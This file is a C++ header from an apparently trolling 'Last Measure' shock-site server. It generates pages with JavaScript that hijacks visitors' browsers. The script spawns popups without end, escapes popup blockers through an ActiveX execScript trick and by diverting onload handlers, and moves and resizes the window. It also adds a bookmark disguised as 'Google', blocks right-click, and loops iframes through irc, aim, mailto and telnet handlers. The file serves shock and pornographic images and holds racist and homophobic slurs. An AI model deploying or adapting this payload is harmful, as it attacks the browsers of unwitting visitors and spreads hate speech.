source: trollforge/lastmeasure/server/lmresource.h @ 564

Revision 564, 17.5 KB checked in by literalka, 18 months ago (diff)

tiny shit

  • Property svn:keywords set to Id
Line 
1/* TODO:
2 * Port `store_clipboard()' from PHP.
3 */
4#include <string>
5#include <sstream>
6#include <fstream>
7#include <iostream>
8#include <streambuf>
9
10#include "lmkeywords.h"
11
12#ifndef SOFT
13static size_t imagecount = 33;
14#else
15static size_t imagecount = 13;
16#endif
17
18//static size_t soundcount = 16;
19
20static char const *staticnames[] =
21{
22#ifndef SOFT
23    /* Static images - 33 */
24    "/images/awesome.jpg",    "/images/Pain4.jpg",
25    "/images/balloonboy.jpg", "/images/Pain5.jpg",
26    "/images/christmas.jpg",  "/images/Pain.jpg",
27    "/images/freak.jpg",      "/images/penisbird.gif",
28    "/images/harlequin1.jpg", "/images/pillowfight.jpg",
29    "/images/harlequin2.jpg", "/images/pooped.jpg",
30    "/images/harlequin3.jpg", "/images/rustina.jpg",
31    "/images/harlequin4.jpg", "/images/smile.jpg",
32    "/images/harlequin.jpg",  "/images/spin.gif",
33    "/images/hello.jpg",      "/images/stopracism.jpg",
34    "/images/hotblowjob.jpg", "/images/stretch.jpg",
35    "/images/kiss.jpg",       "/images/tubgirl.jpg",
36    "/images/lemonparty.jpg", "/images/Untitled.jpg",
37    "/images/loopback.jpg",   "/images/weightlifter.jpg",
38    "/images/Pain2.jpg",      "/images/zoidberg.jpg",
39    "/images/Pain3.jpg",      "/images/jar.jpg",
40    "/images/lunch.jpg",
41#else
42    /* Static soft images - 13 */
43    "/soft/christmas.jpg", "/soft/pillowfight.jpg",
44    "/soft/eww.jpg", "/soft/pooped.jpg",
45    "/soft/freak.jpg", "/soft/rustina.jpg",
46    "/soft/hello.jpg", "/soft/spin.gif",
47    "/soft/lemonparty.jpg", "/soft/tubgirl.jpg",
48    "/soft/loopback.jpg", "/soft/weightlifter.jpg",
49    "/soft/ouch.jpg",
50#endif
51
52    /* Static sound samples - 16 */
53    "/audio/abez2.wav",    "/audio/abez.wav",
54    "/audio/blackman.wav", "/audio/eska.wav",
55    "/audio/fury.wav",     "/audio/jesuitx1.wav",
56    "/audio/jesuitx2.wav", "/audio/jizzy.wav",
57    "/audio/kirk.wav",     "/audio/lolichan.wav",
58    "/audio/original.wav", "/audio/popeye.wav",
59    "/audio/rkz.wav",      "/audio/rucas.wav",
60    "/audio/sam.wav",      "/audio/trogg.wav",
61
62    /* Other static files */
63    "/flash/first_opener.swf",
64    "/flash/second_opener.swf",
65    "/flash/hello.swf",
66    "/flash/hey.swf",
67
68    "/lm.pdf",
69    "/lm2.pdf",
70    "/jews.wmv",
71    "/LastCoffee.class",
72    "/gnaa.png",
73
74    "/favicon.ico",
75    "/robots.txt",
76};
77
78typedef std::pair<std::string,std::string> Response;
79
80class Resources
81{
82public:
83    static void LoadAll()
84    {
85        for (size_t i = 0; i < NSTATICS; i++)
86        {
87            /* Skip leading / when opening local files */
88            std::ifstream t(staticnames[i] + 1);
89            m_statics[i] = std::string((std::istreambuf_iterator<char>(t)),
90                                       std::istreambuf_iterator<char>());
91        }
92    }
93
94    static Response Get(char const *resource, char const *query,
95                        char const *host, char const *agent)
96    {
97        /* Special case for server status */
98        if (!strcmp(resource, "/server-status")
99             || !strcmp(resource, "/server-status/"))
100        {
101            return Response("SERVER STATUS UNAVAILABLE FOR NOW", "text/html");
102        }
103
104        /* Special case for static resources */
105        for (size_t i = 0; i < NSTATICS; i++)
106        {
107            if (!strcmp(resource, staticnames[i]))
108            {
109                return Response(m_statics[i], MimeType(resource));
110            }
111        }
112
113        /* Is the browser IE 6 or better? */
114        char const *parser = strstr(agent, " MSIE ");
115        bool is_ie6 = parser && (atoi(parser + strlen(" MSIE ")) >= 6);
116
117        /* Sending stuff */
118        std::stringstream data("");
119        data <<
120 "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\""
121 "\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\r\n"
122 "<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">"
123
124 "  <head>\r\n"
125 "    <title>GNAA Last Measure Live!</title>\r\n"
126 "    <meta name=\"keywords\" content=\"" << Keywords(128) << "\" />\r\n"
127 "    <script type=\"text/javascript\">" << JavaScript(host) <<
128 "    </script>\r\n"
129 "    <link rel=\"icon\" type=\"image/x-icon\" "
130 "          href=\"http://" << host << "/favicon.ico\" />\r\n"
131 "    <link rel=\"shortcut icon\" type=\"image/x-icon\" "
132 "          href=\"http://" << host << "/favicon.ico\" />\r\n"
133 "    <style type=\"text/css\">\r\n"
134 "      html { height: 100%; width: 100%; overflow: hidden; }\r\n"
135 "      body { height: 100%; width: 100%; margin: 0; padding: 0; }\r\n"
136 "    </style>\r\n"
137 "  </head>\r\n"
138
139 "  <body style=\"background-image: url(http://" << host
140          << RandomAsset("/images/") << "); background-color: #FFFFFF;\""
141 "        onload=\"bookmark();noframes();load_goatse();"
142 "        document.goatse.reset();movew0w();setTimeout('ruin()', 20);";
143        if (is_ie6)
144            data << "setTimeout('main()', 100);";
145        data <<
146 "        onmousemove=\"document.goatse.reset();movew0w();procreate();\""
147 "        onkeydown=\"molish();procreate();\""
148 "        onunload=\"document.goatse.reset();movew0w();procreate();\""
149 "        onmouseover=\"document.goatse.reset();movew0w();procreate();\">\r\n";
150
151        data << MoveAround(800, 600, host);
152        data << ActivateApplets();
153        if (is_ie6)
154        {
155            data << PopupBypasser(host);
156            data << DivertOnload();
157        }
158
159 "  </body>\r\n"
160
161;
162        data << "<html><body><p>You are asking for "
163             << resource << ". You could also ask for <a href=\"http://"
164             << host << "/" << rand()
165             << "\">something else</a>. </p>"
166             << "<img src=\"" << RandomAsset("/images/") << "\" />"
167             << "</body></html>";
168        return Response(data.str(), "text/html");
169    }
170
171    static std::string Keywords(size_t count)
172    {
173        std::stringstream ret("");
174
175        for (size_t i = 0; i < count; i++)
176        {
177            if (i)
178                ret << ", ";
179            ret << keywords[rand() % (sizeof(keywords) / sizeof(*keywords))];
180        }
181
182        return ret.str();
183    }
184
185    static std::string JavaScript(char const *host)
186    {
187        std::stringstream ret("");
188
189        ret <<
190/*
191 * Let's figure out what the fuck kind of browser the poor plebes are using. :(
192 *  MSIE gets a special kind of Last Measure where I start off with a
193 *  `ModelessDialog' and pop up from it.
194 *  Gets around Google Toolbar.
195 *              -- goat-see
196 */
197 "var nom = navigator.appName.toLowerCase();\r\n"
198 "var agt = navigator.userAgent.toLowerCase();\r\n"
199 "var is_major  = parseInt(navigator.appVersion);\r\n"
200 "var is_minor  = parseFloat(navigator.appVersion);\r\n"
201 "var is_ie     = (agt.indexOf('msie') != -1);\r\n"
202 "var is_ie4up  = (is_ie && (is_major >= 4));\r\n"
203 "var is_nav    = (nom.indexOf('netscape')!=-1);\r\n"
204 "var is_nav4   = (is_nav && (is_major == 4));\r\n"
205 "var is_mac    = (agt.indexOf('mac')!=-1);\r\n"
206 "var is_gecko  = (agt.indexOf('gecko') != -1);\r\n"
207
208 //  GECKO REVISION
209 "var is_rev = 0;\r\n"
210 "if (is_gecko) {\r\n"
211 "    temp = agt.split('rv:');\r\n"
212 "    is_rev = parseFloat(temp[1]);\r\n"
213 "}\r\n"
214
215 "function bookmark() {\r\n"
216 //"      if (is_ie4up) {"
217 "    window.external.AddFavorite(self.location.href, 'Google');\r\n"
218 //"      }"
219 "}\r\n"
220
221 "function molish() {\r\n"
222 "      var credits = \"LAST MEASURE UNIFIED X-2, by LiteralKa, Penisbird, Rolloffle, Rucas, and sam.\\n\";\r\n"
223 "      credits += \"Starring:\\n\";\r\n"
224 "      credits += \"Tubgirl\\n\";\r\n"
225 "      credits += \"Lemonparty\\n\";\r\n"
226 "      credits += \"Kirk Johnson\\n\";\r\n"
227 "      credits += \"Penisbird\\n\";\r\n"
228 "      credits += \"Pillowfight\\n\";\r\n"
229 "      credits += \"Christmas\\n\";\r\n"
230 "      credits += \"Rusty's Wife\\n\";\r\n"
231 "      credits += \"The Harlequin Fetus\\n\";\r\n"
232 "      credits += \"Balloon Boy\\n\";\r\n"
233 "      credits += \"What the fuck? That guy's ass is showing in his baby's picture!\\n\";\r\n"
234 "      credits += \"And much, much more!\\n\";\r\n"
235 "      credits += \"\\n\\n\";\r\n"
236 "      credits += \"Total, complete, all-versions, pop-up blocker bashing-to-pieces by goat-see\\n\";\r\n"
237 "      credits += \"hey.swf by rkz\\n\";\r\n"
238 "      credits += \"Updated by Dessimat0r, JacksonBrown, Jmax, JacksonBrown, timecop, weev, and others.\\n\";\r\n"
239 "  switch(event.keyCode) {\r\n"
240 "    case 46:\r\n" // DEL
241 "    case 63272:\r\n" // DEL on the fucked-up Safari browser
242 "      alert(credits);\r\n"
243 "      break;\r\n"
244 "    case 17:\r\n" // CTRL [Or the Apple "CMD", only detected by Opera] NOTE: Opera Mac gives keyCode '0'
245 "    case 18:\r\n" // ALT
246 //"    case 81:" // W (As in "CTRL+W")
247 //"    case 87:" // Q (As in "CTRL+Q")
248 "    case 115:\r\n" // F4
249 "      alert(\"Our lawyer has informed us that we need a warning. So, if "
250              "you are under the age of 18 or find this offensive, please "
251              "leave immediately\");\r\n"
252 "      break;\r\n"
253 "  }\r\n"
254 "}\r\n"
255
256 "function click() {\r\n"
257 "    if(event.which == 3 || event.button == 2) {\r\n"
258 "        return false;\r\n"
259 "    }\r\n"
260 "}\r\n"
261
262 "function procreate() {\r\n"
263 "    for(i = 0; i < 16; i++) {\r\n"
264 "        popUp(\"index.php?popup=1\");\r\n"
265 "    }\r\n"
266 "}\r\n"
267
268 "function popUp(URL) {\r\n"
269 "    day = new Date();\r\n"
270 "    id = day.getTime();\r\n"
271 "    eval(\"page\" + id + \" = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');\");\r\n"
272 "}\r\n"
273
274 "goatseflash  = '<div id=\"hello\" style=\"z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;\">';\r\n"
275 "goatseflash += '  <object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" width=\"100%\" height=\"100%\">';\r\n"
276 "goatseflash += '    <param name=\"movie\" value=\"http://" << host << "/flash/hello.swf\" />'\r\n"
277 "goatseflash += '    <param name=\"wmode\" value=\"transparent\" />';\r\n"
278 "goatseflash += '  </object>'\r\n"
279 "goatseflash += '</div>';\r\n"
280
281 "function load_goatse() {\r\n"
282 "    document.body.innerHTML += goatseflash;\r\n"
283 "    setTimeout(\"unload_goatse()\", 3000);\r\n" // 3s
284 "}\r\n"
285
286 "function unload_goatse() {\r\n"
287 "    document.getElementById(\"hello\").style.display = 'none';\r\n"
288 "}\r\n"
289
290 "function noframes() {\r\n"
291 "    if (top.location.hostname != location.hostname)\r\n"
292 "        top.location.href = window.location.href;\r\n"
293 "}\r\n"
294
295 "var protos = [\r\n"
296 "        \"http://" << host << "/lm.pdf\",\r\n"
297 "        \"http://" << host << "/lm2.pdf\",\r\n"
298 "        \"http://" << host << "/jews.wmv\",\r\n"
299 "        \"irc://irc.gnaa.eu/gnaa\",\r\n"
300 "        \"irc://irc.freenode.net/freenode?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARDCHATS.COM%20#GNAA\",\r\n"
301 //"        \"irc://irc.freenode.net/wikipedia-en?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARDCHATS.COM%20#GNAA\",\r\n"
302 "        \"news:alt.flame.niggers\",\r\n"
303 "        \"news:alt.flame.faggots\",\r\n"
304 "        \"mailto:JOIN@THE.GNAA?subject=2012_RECRUITMENT_DRIVE&body=www.gnaa.eu\",\r\n"
305 "        \"callto://JOIN_THE_GNAA__2012_RECRUITMENT_DRIVE\",\r\n"
306 //"        \"aim:GoIM?screenname=Gary_Niger&message=HY+LOL+HY+LOL\",\r\n"
307 "        \"rlogin://1.1.1.1:80\",\r\n"
308 "        \"telnet://1.1.1.1:80\",\r\n"
309 "        \"mailto:JOIN@THE.GNAA?subject=2012_RECRUITMENT_DRIVE&body=www.gnaa.eu\",\r\n"
310 //"        \"ed2k://|file|Gayniggers From Outer Space [GNAA Digitally Remastered].avi|134174720|F8AF9D8A7091CD7A7B8968C9EB397C02|/\",\r\n"
311 "        \"aim:addbuddy?listofscreennames=HY,LOL,HY,LOL,HY,LOL,join,the,GNAA,2012,RECRUITMENT,DRIVE,heartiez2incog,cpurape vo.1 - lncog&groupname=GNAA\",\r\n"
312 "        \"aim:goaway?message=ARE+YOU+GAY%3F+ARE+YOU+A+NIGGER%3F+ARE+YOU+A+GAY+NIGGER%3F\",\r\n"
313 "        \"aim:goim?screenname=bluexox5&message=dont_fuck_with_the_GNAA\"\r\n"
314 "        ];\r\n"
315
316 "function add(str) {\r\n"
317 "    div = document.getElementById('goatse');\r\n"
318 "    div.innerHTML = '<iframe style=\"width: 1; height: 1;\" src=\"' + str + '\"></iframe>';\r\n"
319 "}\r\n"
320
321 "function ruin() {\r\n"
322 "    document.body.innerHTML += '<div id=\"goatse\">yes hello</div>';\r\n"
323 "    while (1) {\r\n"
324 "        for (i = 0; i < protos.length; i++) {\r\n"
325 "            add(protos[i]);\r\n"
326 "        }\r\n"
327 "    }\r\n"
328 "}\r\n";
329
330        return ret.str();
331    }
332
333    static char const *MimeType(char const *resource)
334    {
335        static char const *assoc[] =
336        {
337            ".png", "image/png",
338            ".jpg", "image/jpeg",
339            ".jpeg", "image/jpeg",
340            ".gif", "image/gif",
341            ".wav", "audio/x-wav",
342            ".mp3", "audio/mpeg",
343            ".swf", "application/x-shockwave-flash",
344            ".pdf", "application/pdf",
345            ".wmv", "video/x-ms-wmv",
346            ".class", "application/java-vm",
347            ".ico", "image/x-icon",
348            ".txt", "text/plain",
349        };
350
351        for (size_t i = 0; i < sizeof(assoc) / sizeof(*assoc); i += 2)
352        {
353            char const *suffix = assoc[i], *test;
354            if ((test = strstr(resource, suffix)) && !test[strlen(suffix)])
355                return assoc[i + 1];
356        }
357
358        return "text/plain";
359    }
360
361    static std::string RandomAsset(char const *prefix)
362    {
363        size_t prefixlen = strlen(prefix);
364
365        for (size_t i = 0; i < 32; i++) // XXX Why 32?
366        {
367            char const *name = staticnames[rand() % NSTATICS];
368            if (!strncmp(name, prefix, prefixlen))
369                return name;
370        }
371
372        return "/";
373    }
374
375    static std::string MoveAround(size_t width, size_t height, char const *host)
376    {
377        std::stringstream ret("");
378
379        ret <<
380
381        "<script type=\"text/javascript\">\r\n"
382        "<!--\r\n"
383        "    var images = new Array();\r\n"
384        "    var imagecount = " << imagecount << ";\r\n";
385
386        for(size_t i = 0; i < imagecount; i++)
387        {
388            ret << "    images[" << i << "] = 'http://" << host << "" << staticnames[i] << "';\r\n";
389        }
390
391        ret <<
392        "var delay = 10;\r\n"
393        "var step = .2;\r\n"
394        "var curstep = 0;\r\n"
395
396        "window.resizeTo(" << width << ", " << height << ");\r\n"
397        "var centerX = (self.screen.width - document.body.clientWidth) / 2;\r\n"
398        "var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;\r\n"
399        "movew0w();\r\n"
400
401        "function movew0w() {\r\n"
402        "    var j;\r\n"
403        "    for (j = 0; j < 5; j++) {\r\n"
404        "        curstep += step / 5;\r\n"
405        "        var factorX = Math.sin(curstep * 6.1) * 0.9;\r\n"
406        "        var factorY = Math.cos(curstep * 3.7) * 0.9;\r\n"
407       
408        "        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)\r\n"
409        "                    * (Math.sin(10+curstep/(10+j))+0.2)\r\n"
410        "                    * Math.cos((curstep + j*25)/10);\r\n"
411        "        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)\r\n"
412        "                       * (Math.sin(10+curstep/10)+0.2)\r\n"
413        "                       * Math.cos((curstep + j*25)/10);\r\n"
414        "        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));\r\n"
415        "    }\r\n"
416
417        "    document.body.background = images[(Math.floor(curstep) % imagecount) + 1];\r\n"
418        "    setTimeout(\"movew0w()\", delay);\r\n"
419        "}\r\n"
420        "// -->\r\n"
421        "</script>\r\n";
422
423        return ret.str();
424    }
425
426    static std::string ActivateApplets()
427    {
428        std::stringstream ret("");
429
430        ret <<
431
432        "<div>\r\n"
433        "    <object id=\"x\" classid=\"clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A\" height=\"1\" width=\"1\">\r\n"
434        "        <param name=\"ActivateApplets\" value=\"1\" />\r\n"
435        "        <param name=\"ActivateActiveXControls\" value=\"1\" />\r\n"
436        "    </object>\r\n"
437        "</div>\r\n";
438
439        return ret.str();
440    }
441
442/*  This chunk bypasses pop-ups */
443    static std::string PopupBypasser(char const *host)
444    {
445        std::stringstream ret("");
446
447        ret <<
448
449        "<script type=\"text/javascript\">\r\n"
450        "<!--\r\n"
451        "    function shellscript() {\r\n"
452        "        for(i = 0; i < 5; i++) {\r\n"
453        "            open('http://" << host << "/index.php?popup=1','_blank','scrollbar=no');\r\n"
454        "        }\r\n"
455        "    }\r\n"
456
457        "    function main() {\r\n"
458        "        x.DOM.Script.execScript(shellscript.toString());\r\n"
459        "        x.DOM.Script.setTimeout(\"shellscript()\");\r\n"
460        "        setTimeout(\"main()\", 200);\r\n"
461        "    }\r\n"
462        "// -->\r\n"
463        "</script>\r\n";
464
465        return ret.str();
466    }
467
468    static std::string DivertOnload()
469    {
470        std::stringstream ret("");
471
472        ret <<
473
474        "<script type=\"text/javascript\">\r\n"
475        "<!--\r\n"
476        "    var SymRealOnLoad;\r\n"
477        "    var SymRealOnUnload;\r\n"
478        "    var SymRealWinOpen;\r\n"
479
480        "    function SymOnUnload() {\r\n"
481        "        window.open = SymWinOpen;\r\n"
482        "        if(SymRealOnUnload != null)\r\n"
483        "            SymRealOnUnload();\r\n"
484        "    }\r\n"
485
486        "    function SymOnLoad() {\r\n"
487        "        if(SymRealOnLoad != null)\r\n"
488        "            SymRealOnLoad();\r\n"
489        "        window.open = SymRealWinOpen;\r\n"
490        "        SymRealOnUnload = window.onUnload;\r\n"
491        "        window.onUnload = SymOnUnload;\r\n"
492        "    }\r\n"
493
494        "    SymRealOnLoad = window.onLoad;\r\n"
495        "    window.onLoad = SymOnLoad;\r\n"
496        "// -->\r\n"
497        "</script>\r\n";
498
499        return ret.str();
500    }
501
502//}
503
504private:
505    static const size_t NSTATICS = sizeof(staticnames) / sizeof(*staticnames);
506    static std::string m_statics[NSTATICS];
507};
508
509std::string Resources::m_statics[NSTATICS];
510
Note: See TracBrowser for help on using the repository browser.